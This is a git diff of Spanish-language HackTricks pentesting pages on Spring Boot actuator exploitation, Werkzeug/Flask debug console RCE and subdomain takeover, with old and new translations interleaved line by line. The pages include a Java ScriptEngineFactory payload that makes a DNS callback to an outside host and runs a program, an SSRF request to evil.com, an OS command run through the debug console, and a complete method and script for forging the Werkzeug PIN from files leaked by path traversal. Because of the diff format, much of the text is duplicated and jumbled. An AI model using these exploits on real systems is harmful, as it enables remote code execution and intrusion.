La deserialización de este archivo desencadena la ejecución del constructor de 'ScriptEngineManager' con el 'URLClassLoader' suministrado. En resumen, conduce al método **'java.util.ServiceLoader#load(java.lang.Class\<S>, java.lang.ClassLoader)'**, que intenta encontrar todas las implementaciones de la interfaz 'ScriptEngineFactory' dentro de todas las bibliotecas en el classpath. Dado que podemos agregar una nueva biblioteca a través de 'URLClassLoader', podemos servir un nuevo 'ScriptEngineFactory' con el bytecode malicioso dentro. Para hacerlo, necesitamos crear un archivo jar con los siguientes archivos obligatorios: [yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) debe contener el bytecode actual, con el payload malicioso en el constructor.
```
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
```
```markdown
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) debe ser solo un archivo de texto que contenga una referencia completa a 'artsploit.AwesomeScriptEngineFactory', para que el ServiceLoader sepa dónde encontrar la clase: **artsploit.AwesomeScriptEngineFactory** Nuevamente, esta técnica de explotación requiere que spring cloud esté en el classpath, pero en comparación con el payload de XStream de Eureka, funciona incluso en la última versión. Puedes encontrar el payload completo en mi proyecto de github: [yaml-payload](https://github.com/artsploit/yaml-payload).
## Env + H2 RCE
Consulta esta página para saber cómo explotar la combinación /env + H2: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
## SSRF en Spring Boot a través de la interpretación incorrecta del nombre de ruta <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
[**De esta investigación**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation): El framework de Spring acepta el carácter separador de parámetros de matriz `;` antes de la primera barra del nombre de ruta HTTP:
```
```http
GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close
```
En un escenario como el siguiente:
<figure><img src="../../.gitbook/assets/image (717).png" alt="" width="563"><figcaption></figcaption></figure>
Teniendo en cuenta que Spring permite cualquier carácter después del separador de parámetros Matrix, también es posible utilizar el carácter `@` para obtener un endpoint arbitrario.
A continuación se muestra un ejemplo de la solicitud de exploit:
```http ```http
GET ;@evil.com/url HTTP/1.1 GET ;@evil.com/url HTTP/1.1
Host: target.com Host: target.com
Connection: close Connection: close
``` ```
## Más Información
* [https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html](https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html)
* [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)
* [https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep](https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep)
<details> <details>
<summary><strong>Aprende AWS hacking de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,28 +1,28 @@
# Werkzeug / Flask Debug # Werkzeug / Depuración de Flask
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Configuración inmediatamente disponible para evaluación de vulnerabilidades y pentesting**. Realiza un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, obtener shells y divertirse. **Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
## Consola RCE ## RCE de Consola
Si el modo debug está activo, podrías intentar acceder a `/console` y obtener RCE. Si la depuración está activa, podrías intentar acceder a `/console` y obtener RCE.
```python ```python
__import__('os').popen('whoami').read(); __import__('os').popen('whoami').read();
``` ```
@ -30,62 +30,41 @@ __import__('os').popen('whoami').read();
También hay varios exploits en internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) o uno en metasploit. También hay varios exploits en internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) o uno en metasploit.
## Protegido por PIN - Path Traversal ## Protegido con PIN - Traversal de Ruta
En algunas ocasiones, el endpoint **`/console`** va a estar protegido por un pin. Si tienes una vulnerabilidad de **file traversal**, puedes obtener toda la información necesaria para generar ese pin. En algunas ocasiones, el endpoint **`/console`** estará protegido por un PIN. Si tienes una **vulnerabilidad de traversal de archivos**, puedes filtrar toda la información necesaria para generar ese PIN.
### Exploit de PIN de Consola Werkzeug ### Exploit de PIN de la Consola Werkzeug
**Copiado del primer enlace.**\ Forzar una página de error de depuración en la aplicación para ver esto:
Ver mensaje de "consola bloqueada" de Werkzeug forzando la página de error de depuración en la app.
``` ```
The console is locked and needs to be unlocked by entering the PIN. The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your You can find the PIN printed out on the standard output of your
shell that runs the server shell that runs the server
``` ```
Localice la consola de depuración de Werkzeug vulnerable en la ruta `vulnerable-site.com/console`, pero está bloqueada por un número PIN secreto. Un mensaje sobre el escenario de "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando la necesidad de un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar desde el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), aunque se recomienda obtener el código del servidor real a través de una vulnerabilidad de traversal de archivos debido a posibles discrepancias de versión.
Puede revertir el algoritmo que genera el PIN de la consola. Inspeccione el archivo `__init__.py` de depuración de Werkzeug en el servidor, por ejemplo, `python3.5/site-packages/werkzeug/debug/__init__.py`. Puede ver el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) **para verificar cómo se genera el PIN**, pero es mejor obtener el código fuente a través de una **vulnerabilidad de recorrido de archivos** ya que las versiones probablemente difieran. Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `probably_public_bits` y `private_bits`:
Variables necesarias para explotar el PIN de la consola:
```python
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
```
#### **`probably_public_bits`** #### **`probably_public_bits`**
- **`username`**: Se refiere al usuario que inició la sesión de Flask.
- **`modname`**: Normalmente designado como `flask.app`.
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generalmente se resuelve como **Flask**.
- **`getattr(mod, '__file__', None)`**: Representa la ruta completa a `app.py` dentro del directorio de Flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no es aplicable, **intente con `app.pyc`**.
* **`username`** es el usuario que inició este Flask #### **`private_bits`**
* **`modname`** es flask.app - **`uuid.getnode()`**: Obtiene la dirección MAC de la máquina actual, con `str(uuid.getnode())` traduciéndola a un formato decimal.
* `getattr(app, '__name__', getattr(app.__class__, '__name__'))` es **Flask** - Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtrar `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extraer la dirección MAC** de **`/sys/class/net/<ID del dispositivo>/address`**.
* `getattr(mod, '__file__', None)` es la **ruta absoluta de `app.py`** en el directorio de flask (p. ej., `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no funciona, **intenta con `app.pyc`** - La conversión de una dirección MAC hexadecimal a decimal se puede realizar de la siguiente manera:
#### `private_bits`
* `uuid.getnode()` es la **dirección MAC del ordenador actual**, `str(uuid.getnode())` es la expresión decimal de la dirección MAC.
* Para **encontrar la dirección MAC del servidor**, es necesario saber qué **interfaz de red se está utilizando** para servir la aplicación (p. ej., `ens3`). Si se desconoce, **filtrar `/proc/net/arp`** para obtener el ID del dispositivo y luego **filtrar** la dirección MAC en **`/sys/class/net/<device id>/address`**.
Convertir **de dirección hexadecimal a representación decimal** ejecutando en python, por ejemplo:
```python ```python
# Era 56:00:02:7a:23:ac # Ejemplo de dirección MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac) >>> print(0x5600027a23ac)
94558041547692 94558041547692
``` ```
* `get_machine_id()` concatena los **valores en `/etc/machine-id`** o **`/proc/sys/kernel/random/boot_id`** con la **primera línea de `/proc/self/cgroup`** después de la última barra (`/`). - **`get_machine_id()`**: Concatena datos de `/etc/machine-id` o `/proc/sys/kernel/random/boot_id` con la primera línea de `/proc/self/cgroup` después de la última barra inclinada (`/`).
<details> <details>
<summary>Código para `get_machine_id()`</summary>
<summary>Código de get_machine_id()</summary>
```python ```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]: def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id global _machine_id
@ -125,7 +104,7 @@ try:
``` ```
</details> </details>
Una vez todas las variables estén preparadas, ejecute el script de exploit para generar el PIN de la consola Werkzeug: Una vez recopilados todos los datos necesarios, se puede ejecutar el script de explotación para generar el PIN de la consola Werkzeug. El script utiliza los `probably_public_bits` y `private_bits` ensamblados para crear un hash, que luego se somete a un procesamiento adicional para producir el PIN final. A continuación se muestra el código Python para ejecutar este proceso:
```python ```python
import hashlib import hashlib
from itertools import chain from itertools import chain
@ -171,8 +150,11 @@ rv = num
print(rv) print(rv)
``` ```
Este script produce el PIN mediante el hash de los bits concatenados, añadiendo sales específicas (`cookiesalt` y `pinsalt`), y formateando la salida. Es importante tener en cuenta que los valores reales de `probably_public_bits` y `private_bits` deben obtenerse con precisión del sistema objetivo para asegurar que el PIN generado coincida con el esperado por la consola Werkzeug.
{% hint style="success" %} {% hint style="success" %}
Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritmo de hashing a md5** en lugar de sha1. Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritmo de hash a md5** en lugar de sha1.
{% endhint %} {% endhint %}
## Referencias ## Referencias
@ -182,7 +164,7 @@ Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritm
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde reconocimiento hasta reportes. No reemplazamos a los pentesters - desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para investigar a fondo, obtener shells y divertirse. **Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una pentest completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la reconstrucción hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
@ -192,10 +174,10 @@ Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritm
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,42 +1,42 @@
# Toma de control de Dominio/Subdominio # Toma de control de dominio/subdominio
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas**.\ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las **herramientas comunitarias más avanzadas** del mundo.\
Obtén Acceso Hoy: ¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Toma de control de Dominio ## Toma de control de dominio
Si descubres algún dominio (dominio.tld) que **está siendo utilizado por algún servicio dentro del alcance** pero la **empresa** ha p**e**rdido la **propiedad** de este, puedes intentar **registrarlo** (si es lo suficientemente barato) y hacerlo saber a la empresa. Si este dominio está recibiendo **información sensible** como una cookie de sesión a través de un parámetro **GET** o en el encabezado **Referer**, esto es definitivamente una **vulnerabilidad**. Si descubres que algún dominio (dominio.tld) está siendo utilizado por algún servicio dentro del **alcance** pero la **empresa** ha **perdido la propiedad** del mismo, puedes intentar **registrarlo** (si es lo suficientemente barato) y notificar a la empresa. Si este dominio está recibiendo alguna **información sensible** como una cookie de sesión a través de un parámetro **GET** o en la cabecera **Referer**, esto es sin duda una **vulnerabilidad**.
### Toma de control de Subdominio ### Toma de control de subdominio
Un subdominio de la empresa apunta a un **servicio de terceros con un nombre no registrado**. Si puedes **crear** una **cuenta** en este **servicio de terceros** y **registrar** el **nombre** en uso, puedes realizar la toma de control del subdominio. Un subdominio de la empresa apunta a un **servicio de terceros con un nombre no registrado**. Si puedes **crear** una **cuenta** en este **servicio de terceros** y **registras** el **nombre** que se está utilizando, puedes llevar a cabo la toma de control del subdominio.
Hay varias herramientas con diccionarios para verificar posibles tomas de control: Existen varias herramientas con diccionarios para verificar posibles tomas de control:
* [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) * [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)
* [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot) * [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot)
* [https://github.com/punk-security/dnsReaper](https://github.com/punk-security/dnsReaper) * [https://github.com/punk-security/dnsReaper](https://github.com/punk-security/dnsReaper)
* [https://github.com/haccer/subjack](https://github.com/haccer/subjack) * [https://github.com/haccer/subjack](https://github.com/haccer/subjack)
* [https://github.com/anshumanbh/tko-subs](https://github.com/anshumanbh/tko-subs) * [https://github.com/anshumanbh/tko-sub](https://github.com/anshumanbh/tko-subs)
* [https://github.com/ArifulProtik/sub-domain-takeover](https://github.com/ArifulProtik/sub-domain-takeover) * [https://github.com/ArifulProtik/sub-domain-takeover](https://github.com/ArifulProtik/sub-domain-takeover)
* [https://github.com/SaadAhmedx/Subdomain-Takeover](https://github.com/SaadAhmedx/Subdomain-Takeover) * [https://github.com/SaadAhmedx/Subdomain-Takeover](https://github.com/SaadAhmedx/Subdomain-Takeover)
* [https://github.com/Ice3man543/SubOver](https://github.com/Ice3man543/SubOver) * [https://github.com/Ice3man543/SubOver](https://github.com/Ice3man543/SubOver)
@ -44,161 +44,69 @@ Hay varias herramientas con diccionarios para verificar posibles tomas de contro
* [https://github.com/antichown/subdomain-takeover](https://github.com/antichown/subdomain-takeover) * [https://github.com/antichown/subdomain-takeover](https://github.com/antichown/subdomain-takeover)
* [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover) * [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover)
#### Escaneo de Subdominios Apropiables con [BBOT](https://github.com/blacklanternsecurity/bbot): #### Escaneo de subdominios secuestrables con [BBOT](https://github.com/blacklanternsecurity/bbot):
Las verificaciones de toma de control de subdominios están incluidas en la enumeración de subdominios predeterminada de BBOT. Las firmas se obtienen directamente de [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz). Las comprobaciones de toma de control de subdominios están incluidas en la enumeración de subdominios predeterminada de BBOT. Las firmas se extraen directamente de [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz).
```bash ```bash
bbot -t evilcorp.com -f subdomain-enum bbot -t evilcorp.com -f subdomain-enum
``` ```
### Generación de Toma de Subdominio a través de DNS Wildcard ### Generación de Subdominio Takeover a través de DNS Wildcard
Cuando se utiliza DNS wildcard en un dominio, cualquier subdominio solicitado de ese dominio que no tenga una dirección explícitamente diferente será **resuelto a la misma información**. Esto podría ser una dirección IP A, un CNAME... Cuando se utiliza un comodín DNS en un dominio, cualquier subdominio solicitado de ese dominio que no tenga una dirección diferente explícitamente será **resuelto a la misma información**. Esto podría ser una dirección IP A, un CNAME...
Por ejemplo, si `*.testing.com` está configurado con wildcard a `1.1.1.1`. Entonces, `not-existent.testing.com` apuntará a `1.1.1.1`. Por ejemplo, si `*.testing.com` está configurado como comodín a `1.1.1.1`. Entonces, `not-existent.testing.com` apuntará a `1.1.1.1`.
Sin embargo, si en lugar de apuntar a una dirección IP, el administrador del sistema lo dirige a un **servicio de terceros a través de CNAME**, como un **subdominio de github** por ejemplo (`sohomdatta1.github.io`). Un atacante podría **crear su propia página de terceros** (en Github en este caso) y decir que `something.testing.com` está apuntando allí. Debido a que el **CNAME wildcard** estará de acuerdo, el atacante podrá **generar subdominios arbitrarios para el dominio de la víctima apuntando a sus páginas**. Sin embargo, si en lugar de apuntar a una dirección IP, el administrador de sistemas lo apunta a un **servicio de terceros a través de un CNAME**, como un **subdominio de github** por ejemplo (`sohomdatta1.github.io`). Un atacante podría **crear su propia página de terceros** (en Github en este caso) y decir que `something.testing.com` apunta allí. Debido a que el **comodín CNAME** lo permite, el atacante podrá **generar subdominios arbitrarios para el dominio de la víctima apuntando a sus páginas**.
Puedes encontrar un ejemplo de esta vulnerabilidad en el write-up del CTF: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api) Puedes encontrar un ejemplo de esta vulnerabilidad en el write-up de CTF: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
## Explotando una Toma de Subdominio ## Explotando un subdominio takeover
**Esta información fue copiada de** [**https://0xpatrik.com/subdomain-takeover/**](https://0xpatrik.com/subdomain-takeover/) El subdominio takeover es esencialmente un spoofing DNS para un dominio específico en Internet, lo que permite a los atacantes establecer registros A para un dominio, haciendo que los navegadores muestren contenido desde el servidor del atacante. Esta **transparencia** en los navegadores hace que los dominios sean propensos a phishing. Los atacantes pueden emplear [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) o [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) con este propósito. Especialmente vulnerables son los dominios donde la URL en un correo electrónico de phishing parece legítima, engañando a los usuarios y evadiendo los filtros de spam debido a la confianza inherente del dominio.
Recientemente, [escribí](https://0xpatrik.com/subdomain-takeover-basics/) sobre los conceptos básicos de la toma de subdominio. Aunque el concepto ahora es generalmente bien entendido, noté que la gente suele tener dificultades para comprender los riesgos que trae consigo la toma de subdominio. En este post, profundizo y cubro los riesgos más notables de _toma de subdominio_ desde mi perspectiva. Consulta este [post para más detalles](https://0xpatrik.com/subdomain-takeover/)
_Nota: Algunos riesgos son mitigados implícitamente por el proveedor de la nube. Por ejemplo, cuando la toma de subdominio es posible en Amazon CloudFront, no hay forma de configurar registros TXT para eludir las verificaciones de SPF. Por lo tanto, el post tiene como objetivo proporcionar riesgos sobre la toma general de subdominio. Sin embargo, la mayoría de estos se aplican también a los proveedores de la nube._ ### **Certificados SSL**
Los certificados SSL, si son generados por atacantes a través de servicios como [_Let's Encrypt_](https://letsencrypt.org/), añaden legitimidad a estos dominios falsos, haciendo que los ataques de phishing sean más convincentes.
### Transparencia Para un Navegador <a href="#transparencytoabrowser" id="transparencytoabrowser"></a> ### **Seguridad de Cookies y Transparencia del Navegador**
La transparencia del navegador también se extiende a la seguridad de las cookies, gobernada por políticas como la [Política de mismo origen](https://en.wikipedia.org/wiki/Same-origin_policy). Las cookies, a menudo utilizadas para gestionar sesiones y almacenar tokens de inicio de sesión, pueden ser explotadas a través de un subdominio takeover. Los atacantes pueden **recopilar cookies de sesión** simplemente dirigiendo a los usuarios a un subdominio comprometido, poniendo en peligro los datos y la privacidad del usuario.
Para comenzar, veamos la resolución de DNS donde se involucra CNAME: ### **Correos Electrónicos y Subdominio Takeover**
Otro aspecto del subdominio takeover implica servicios de correo electrónico. Los atacantes pueden manipular los **registros MX** para recibir o enviar correos electrónicos desde un subdominio legítimo, mejorando la eficacia de los ataques de phishing.
![Resolución de DNS](https://0xpatrik.com/content/images/2018/05/resolution-2.png) ### **Riesgos de Orden Superior**
Otros riesgos incluyen el **takeover de registros NS**. Si un atacante obtiene control sobre un registro NS de un dominio, potencialmente puede dirigir una parte del tráfico a un servidor bajo su control. Este riesgo se amplifica si el atacante establece un alto **TTL (Tiempo de Vida)** para los registros DNS, prolongando la duración del ataque.
